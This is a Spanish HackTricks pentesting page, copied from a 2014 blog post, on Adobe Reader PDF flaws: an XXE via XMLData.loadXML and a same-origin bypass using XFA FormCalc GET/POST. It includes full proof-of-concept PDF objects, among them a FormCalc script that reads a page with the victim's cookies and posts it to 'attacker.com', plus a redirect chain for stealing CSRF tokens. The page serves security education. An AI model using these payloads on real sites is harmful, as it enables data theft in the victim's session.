hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md

138 lines
6.7 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Carga de PDF - Bypass de XXE y CORS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
#### Contenido copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
### La función Javascript en Reader se puede utilizar para leer datos de entidades externas (CVE-2014-8452)
Estado: Solucionado\
Realidad: No solucionado\
\
Este se trata de un simple XXE que descubrí.\
Leí el artículo "Polyglots: Crossing Origins by Crossing Formats", donde se discutió una vulnerabilidad en\
XMLData.parse. Era posible utilizar entidades externas y hacer referencia a ellas.\
Leí la especificación y resulta que hay más funciones que "parse" para leer XML.\
Creé un archivo xml simple, que hace referencia a una URL del mismo dominio y lo analicé con loadXML.\
Funcionó:
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
```
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
```
El impacto es limitado porque\
o) está limitado al mismo origen\
o) las páginas HTML rompen el XML\
o) las entidades dinámicas no son compatibles\
o) Tuve la idea de usar un XML utf-16 para evitar romper la estructura XML, pero no funcionó.\
\
Pero aún se puede usar para leer JSON.
### Bypass de política de mismo origen en Reader (CVE-2014-8453)
Estado: solucionado\
Realidad: ¡solucionado pero aún vulnerable al mismo origen!\
\
En mi opinión, esta es la vulnerabilidad más poderosa. Incluso sin el Bypass de Origen, te muestra\
lo poderoso/aterrador que puede ser un PDF.\
Muchas personas saben que PDF admite un lenguaje de script llamado Javascript, pero hay otro.\
Se menciona en la especificación de XFA, un tipo de archivo también admitido por el lector de Adobe.\
Se llama formcalc y no es tan poderoso. Se utiliza para cálculos matemáticos simples. Pero en la especificación de Adobe\
hay tres funciones adicionales: 'GET', 'POST' y 'PUT'. Sí, sus nombres hablan por sí mismos.\
'GET' tiene un parámetro: una URL. Utilizará el navegador (SÍ, COOKIES) para recuperar la URL y devolver el contenido de la misma.\
Luego podemos usar 'POST' para enviar el contenido devuelto a nuestro propio servidor:\
\
var content = GET("misamigos.php");\
Post("http://atacante.com", contenido);\
\
Estas funciones son del mismo origen, por lo que un sitio web debe permitirnos cargar un PDF. Eso no es tan irrealista para\
la mayoría de los sitios web. Atacante.com no es del mismo origen, por lo que necesitas configurar un crossdomain.xml, como es habitual en los productos de Adobe.\
\
En resumen: esto no es un error, es una característica. Tan pronto como se te permita cargar un PDF en un sitio web,\
puedes acceder al sitio web en el contexto del usuario que está viendo el PDF. Debido a que las solicitudes son emitidas\
por el navegador, las cookies también se envían. También puedes usarlo para romper cualquier protección CSRF leyendo los tokens.
```
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
```
Después de encontrar estas funciones, encontré un bypass de política de misma origen. Esto hace posible utilizar el navegador de la víctima como proxy (@beef todavía está trabajando en el módulo^^).
El bypass es realmente simple:
1. El usuario A carga evil.pdf desde http://attacker.com/evil.pdf
2. Evil.pdf utiliza formcalc GET para leer http://attacker.com/redirect.php
3. redirect.php redirige con 301 a http://facebook.com
4. Adobe reader seguirá y leerá la respuesta sin buscar un crossdomain.xml.
5. evil.pdf envía el contenido recuperado vía POST a http://attacker.com/log.php
Tenga en cuenta que utilizando esta técnica se pueden robar los tokens CRSF de una página y abusar de las vulnerabilidades CSRF.
Este simple bypass está arreglado ahora. Espero que implementen una advertencia de diálogo para solicitudes de misma origen también.